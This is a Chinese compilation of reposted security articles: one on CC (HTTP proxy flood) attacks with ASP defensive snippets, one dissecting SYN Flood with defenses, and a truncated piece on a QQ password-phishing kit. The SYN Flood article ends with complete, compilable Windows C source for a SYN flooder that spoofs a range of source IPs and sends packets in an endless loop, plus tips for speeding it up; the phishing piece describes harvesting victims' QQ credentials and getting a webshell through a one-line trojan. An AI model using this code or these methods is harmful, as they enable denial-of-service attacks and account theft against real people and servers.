很多朋友都知道木桶理论，一桶水的最大容量不是由它最高的地方决定的，而是由它最低的地方决定，服务器也是一样，服务器的安全性也是由它最脆弱的地方决定的，最脆弱的地方有多危险服务器就有多危险.DDOS也是一样，只要你的服务器存在一个很耗资源的地方，限制又不够，就马上成为别人DDOS的对象.比如SYN-FLOOD，它就是利用服务器的半连接状态比完全连接状态更耗资源，而SYN发动方只需要不停的发包，根本不需要多少资源。
一个好的DDOS攻击必须是通过自己极少资源的消耗带来对方较大的资源消耗，否则比如ICMP-FLOOD和UDP-FLOOD都必须和别人一样大的带宽，对方服务器消耗多少资源自己也得赔上多少资源，效率极其低下，又很容易被人发现，现在基本没有什么人用了.
攻击原理
CC主要是用来攻击页面的.大家都有这样的经历，就是在访问论坛时，如果这个论坛比较大，访问的人比较多，打开页面的速度会比较慢，对不?!一般来说，访问的人越多，论坛的页面越多，数据库就越大，被访问的频率也越高，占用的系统资源也就相当可观，现在知道为什么很多空间服务商都说大家不要上传论坛，聊天室等东西了吧.
一个静态页面不需要服务器多少资源，甚至可以说直接从内存中读出来发给你就可以了，但是论坛就不一样了，我看一个帖子，系统需要到数据库中判断我是否有读读帖子的权限，如果有，就读出帖子里面的内容，显示出来——这里至少访问了2次数据库，如果数据库的体积有200MB大小，系统很可能就要在这200MB大小的数据空间搜索一遍，这需要多少的CPU资源和时间?如果我是查找一个关键字，那么时间更加可观，因为前面的搜索可以限定在一个很小的范围内，比如用户权限只查用户表，帖子内容只查帖子表，而且查到就可以马上停止查询，而搜索肯定会对所有的数据进行一次判断，消耗的时间是相当的大.
CC就是充分利用了这个特点，模拟多个用户(多少线程就是多少用户)不停的进行访问(访问那些需要大量数据操作，就是需要大量CPU时间的页面)。很多朋友问到，为什么要使用代理呢?因为代理可以有效地隐藏自己的身份，也可以绕开所有的防火墙，因为基本上所有的防火墙都会检测并发的TCP/IP连接数目，超过一定数目一定频率就会被认为是Connection-Flood.
使用代理攻击还能很好的保持连接，我们这里发送了数据，代理帮我们转发给对方服务器，我们就可以马上断开，代理还会继续保持着和对方连接(我知道的记录是有人利用2000个代理产生了35万并发连接).
可能很多朋友还不能很好的理解，我来描述一下吧.我们假设服务器A对Search.asp的处理时间需要0.01S(多线程只是时间分割，对结论没有影响)，也就是说他一秒可以保证100个用户的Search请求，服务器允许的最大连接时间为60s，那么我们使用CC模拟120个用户并发连接，那么经过1分钟，服务器的被请求了7200次，处理了6000次，于是剩下了1200个并发连接没有被处理.有的朋友会说:丢连接!丢连接!问题是服务器是按先来后到的顺序丢的，这1200个是在最后10秒的时候发起的，想丢?!还早，经过计算，服务器满负开始丢连接的时候，应该是有7200个并发连接存在队列，然后服务器开始120个/秒的丢连接，我们发动的连接也是120个/秒，服务器永远有处理不完的连接，服务器的CPU 100%并长时间保持，然后丢连接的60秒服务器也判断处理不过来了，新的连接也处理不了，这样服务器达到了超级繁忙状态. 蝴蝶:我们假设服务器处理Search只用了0.01S，也就是10毫秒(这个速度你可以去各个有开放时间显示的论坛看看)，我们使用的线程也只有120，很多服务器的丢连接时间远比60S长，我们的使用线程远比120多，可以想象可怕了吧，而且客户机只要发送了断开，连接的保持是代理做的，而且当服务器收到SQL请求，肯定会进入队列，不论连接是否已经断开，而且服务器是并发的，不是顺序执行，这样使得更多的请求进入内存请求，对服务器负担更大.

当然，CC也可以利用这里方法对FTP进行攻击，也可以实现TCP-FLOOD，这些都是经过测试有效的。
防范方法

说了攻击原理，大家肯定会问，那么怎么防御?使用硬件防火墙我不知道如何防范，除非你完全屏蔽页面访问，我的方法是通过页面的编写实现防御.
1. 使用Cookie认证.这时候朋友说CC里面也允许Cookie，但是这里的Cookie是所有连接都使用的，所以启用IP+Cookie认证就可以了.
2. 利用Session.这个判断比Cookie更加方便，不光可以IP认证，还可以防刷新模式，在页面里判断刷新，是刷新就不让它访问，没有刷新符号给它刷新符号.给些示范代码吧，Session:
程序代码:
〈%
if session(“refresh”)〈〉 1 then
Session(“refresh”)=session(“refresh”)+1
Response.redirect “index.asp”
End if
%〉

这样用户第一次访问会使得Refresh=1，第二次访问，正常，第三次，不让他访问了，认为是刷新，可以加上一个时间参数，让多少时间允许访问，这样就限制了耗时间的页面的访问，对正常客户几乎没有什么影响.
3. 通过代理发送的HTTP_X_FORWARDED_FOR变量来判断使用代理攻击机器的真实IP，这招完全可以找到发动攻击的人，当然，不是所有的代理服务器都发送，但是有很多代理都发送这个参数.详细代码:
程序代码:
〈%
Dim fsoObject
Dim tsObject
dim file
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")="" then
response.write "无代理访问"
response.end
end if
Set fsoObject = Server.CreateObject("Scripting.FileSystemObject")
file = server.mappath("CCLog.txt")
if not fsoObject.fileexists(file) then
fsoObject.createtextfile file，true，false
end if
set tsObject = fsoObject.OpenTextFile(file，8)
tsObject.Writeline Request.ServerVariables("HTTP_X_FORWARDED_FOR")
&"["&Request.ServerVariables("REMOTE_ADDR")&"]"&now()
Set fsoObject = Nothing
Set tsObject = Nothing
response.write "有代理访问"
%〉

这样会生成CCLog.txt，它的记录格式是:真实IP [代理的IP] 时间，看看哪个真实IP出现的次数多，就知道是谁在攻击了.将这个代码做成Conn.asp文件，替代那些连接数据库的文件，这样所有的数据库请求就连接到这个文件上，然后马上就能发现攻击的人.
4. 还有一个方法就是把需要对数据查询的语句做在Redirect后面，让对方必须先访问一个判断页面，然后Redirect过去.
5. 在存在多站的服务器上，严格限制每一个站允许的IP连接数和CPU使用时间，这是一个很有效的方法.
CC的防御要从代码做起，其实一个好的页面代码都应该注意这些东西，还有SQL注入，不光是一个入侵工具，更是一个DDOS缺口，大家都应该在代码中注意.举个例子吧，某服务器，开动了5000线的CC攻击，没有一点反应，因为它所有的访问数据库请求都必须一个随机参数在Session里面，全是静态页面，没有效果.突然发现它有一个请求会和外面的服务器联系获得，需要较长的时间，而且没有什么认证，开800线攻击，服务器马上满负荷了.
代码层的防御需要从点点滴滴做起，一个脚本代码的错误，可能带来的是整个站的影响，甚至是整个服务器的影响，慎之!


剖析SYN Flood攻击（全文）

文章作者：Shotgun
信息来源：邪恶八进制信息安全团队（ http://www.eviloctal.com/ ）

金州转载说明：这是一篇旧的文章。但是很经典。网络上很少有全文的。一般都是前两章。即所谓的上卷。这次集合成全文。方便查阅收藏。估计应该在网络上也不好找全文成一文的。所以来源表明邪恶八进制信息安全团队。另，代表个人向Shotgun大哥表示敬意。祝福！

剖析SYN Flood攻击
Shotgun
一、SYN Flood的基本原理
    SYN Flood是当前最流行的DoS（拒绝服务攻击）与DdoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。
    要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起：
大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的：

    首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号；

    第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。

    第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。
以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。
    问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。

    从防御角度来说，有几种简单的解决方法：

    第一种是缩短SYN Timeout时间，由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度 x SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。

    第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被丢弃。

    可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。
二、SYN Flooder源码解读
    下面我们来分析SYN Flooder的程序实现。

    首先，我们来看一下TCP报文的格式：

    如上图所示，一个TCP报文由三个部分构成：20字节的IP首部、20字节的TCP首部与不定长的数据段，（实际操作时可能会有可选的IP选项，这种情况下TCP首部向后顺延）由于我们只是发送一个SYN信号，并不传递任何数据，所以TCP数据段为空。TCP首部的数据结构为：

    根据TCP报文格式，我们定义一个结构TCP_HEADER用来存放TCP首部：

typedef struct _tcphdr
  {
    USHORT th_sport; //16位源端口
    USHORT th_dport; //16位目的端口
    unsigned int th_seq; //32位序列号
    unsigned int th_ack; //32位确认号
    unsigned char th_lenres; //4位首部长度+6位保留字中的4位
    unsigned char th_flag; //2位保留字+6位标志位
    USHORT th_win; //16位窗口大小
    USHORT th_sum; //16位校验和
    USHORT th_urp; //16位紧急数据偏移量
  }TCP_HEADER;
通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2（二进制的00000010）我们能制造一个SYN的TCP报文，通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己，也为了躲避服务器的SYN Cookie检查，还需要直接对IP首部进行操作：

    同样定义一个IP_HEADER来存放IP首部：

typedef struct _iphdr
  {
    unsigned char h_verlen; //4位首部长度+4位IP版本号
    unsigned char tos; //8位服务类型TOS
    unsigned short total_len; //16位总长度（字节）
    unsigned short ident; //16位标识
    unsigned short frag_and_flags; //3位标志位
    unsigned char ttl; //8位生存时间 TTL
    unsigned char proto; //8位协议号(TCP, UDP 或其他)
    unsigned short checksum; //16位IP首部校验和
    unsigned int sourceIP; //32位源IP地址
    unsigned int destIP; //32位目的IP地址
  }IP_HEADER;

    然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

    建立一个原始套接口，由于我们的IP源地址是伪造的，所以不能指望系统帮我们计算IP校验和，我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和：

    flag=TRUE;
    setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

    IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,然后计算整个IP首部（包括选项）的二进制反码的和，一个标准的校验和函数如下所示：

USHORT checksum(USHORT *buffer, int size)
  {
    unsigned long cksum=0;
    while(size >1)
       {
          cksum+=*buffer++;
          size -=sizeof(USHORT);
        }
    if(size ) cksum += *(UCHAR*)buffer;
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
  }

    这个函数并没有经过任何的优化，由于校验和函数是TCP/IP协议中被调用最多函数之一，所以一般说来，在实现TCP/IP栈时，会根据操作系统对校验和函数进行优化。
TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。

    需要注意的是，由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和，定义如下：

struct
  {
    unsigned long saddr; //源地址
    unsigned long daddr; //目的地址
    char mbz; //置空
    char ptcl; //协议类型
    unsigned short tcpl; //TCP长度
  }psd_header;

    然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和：

memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

    计算IP校验和的时候不需要包括TCP伪首部：

memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

    再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了：

memcpy(SendBuf,&ip_header,sizeof(ip_header));
sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

    因为整个TCP报文中的所有部分都是我们自己写入的（操作系统不会做任何干涉），所以我们可以在IP首部中放置随机的源IP地址，如果伪造的源IP地址确实有人使用，他在接收到服务器的SYN+ACK报文后会发送一个RST报文（标志位为00000100），通知服务器端不需要等待一个无效的连接，可是如果这个伪造IP并没有绑定在任何的主机上，不会有任何设备去通知主机该连接是无效的（这正是TCP协议的缺陷），主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时，服务器主机承受的负荷会相当的高，根据测试，一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文，这样的攻击力已经足以拖垮大部分WEB服务器了。

    稍微动动脑筋我们就会发现，想对SYN Flooder程序进行优化是很简单的，从程序构架来看，攻击时循环内的代码主要是进行校验和计算与缓冲区的填充，一般的思路是提高校验和计算的速度，我甚至见过用汇编代码编写的校验和函数，实际上，有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识，我们仔细研究了两个不同源地址的TCP SYN报文后发现，两个报文的大部分字段相同（比如目的地址、协议等等），只有源地址和校验和不同（如果为了隐蔽，源端口也可以有变化，但是并不影响我们算法优化的思路），如果我们事先计算好大量的源地址与校验和的对应关系表（如果其他的字段有变化也可以加入这个表），等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送（用指针来直接操作缓冲区的特定位置，从事先计算好的对应关系表中读出数据，替换缓冲区相应字段），这种简单的工作完全取决于系统发送IP包的速度，与程序的效率没有任何关系，这样，即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间，甚至可以定义一个很大的缓冲区数组，填充完毕后再发送。

第三部分 SYN Flood攻击的监测与防御初探

    对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。

    一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量>500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。

    遭到SYN Flood攻击后，首先要做的是取证，通过Netstat –n –p tcp >resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问）

    前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动：

    首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2；

    增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。

    增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。

    我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。

    所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。

    通过设置注册表防御SYN Flood攻击，采用的是“挨打”的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，“退让”也是一种比较有效的方法。

    退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。

同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。

    对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下所示：

    如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:）

    工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下所示：

    客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。

    在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示：

第一阶段，客户机请求与防火墙建立连接：

第二阶段，防火墙伪装成客户机与后台的服务器建立连接

第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器

    这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。

    近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。
附录：Win2000下的SYN Flood程序
改编自Linux下Zakath编写的SYN Flooder
编译环境：VC++6.0,编译时需要包含ws2_32.lib
//////////////////////////////////////////////////////////////////////////
// //
// SYN Flooder For Win2K by Shotgun //
// //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Homepage: //
// [ http://it.xici.net/ ] //
// [ http://www.patching.net/ ] //
// //
//////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"//被攻击的IP
#define FAKE_IP "10.168.150.1" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
struct //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}psd_header;
typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
// SynFlood主函数
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节）
ip_header.ident=1; //16位标识
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000); //源端口号
tcp_header.th_dport=htons(8080); //目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_ack=0; //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验和
//填充TCP伪首部（用于计算校验和，并不真正发送）
psd_header.saddr=ip_header.sourceIP; //源地址
psd_header.daddr=ip_header.destIP; //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP; //协议类型
psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度
while(1) {
//每发送10,240个报文输出一个标示符
printf(".");
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536) SendSEQ=1; //序列号循环
//更改IP首部
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_sum=0; //校验和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和，计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw,
SendBuf,
datasize,
0,
(struct sockaddr*) &DestAddr,
sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}


另类窃取即时通讯程序密码方法测试——钓鱼

文章作者：fhod (http://www.ciker.org/)
信息来源：邪恶八进制信息安全团队（http://www.eviloctal.com/）
本文英文题目：《another way to get im password——Phishing》
以前从朋友那搞来一套偷QQ的程序.仿互联星空QQ币冲值的.
如图1
猛的一看.还真像那么回事..如果一点安全意识都没有的人打开后.又因为贪婪之心的纵使.会豪不犹豫的输入自己的QQ和密码..进行冲值..
图2
可孰不知..我们刚才输入的QQ和密码.已提交到了盗号者构造的一个数据库里.这时候只要盗号者登陆后台..刚才输入的QQ和密码就展现眼前..
图3
具体关键怎么去欺骗对方.令其信服下面回讲到.因为我们重点并不是讲解这些...而是如何把此程序改换成另一个活动页面..这里我们就以圣诞节时的那个QQ砸蛋活动来做介绍把..
在我改代码时.发现此程序有几处不足之处...
1.默认的数据库是以asp为后缀的.未做防下载处理..如果让别有用心的人获得此路径..在QQ和号码那里输入 这样的一句话木马时.很容易就得到webshell.
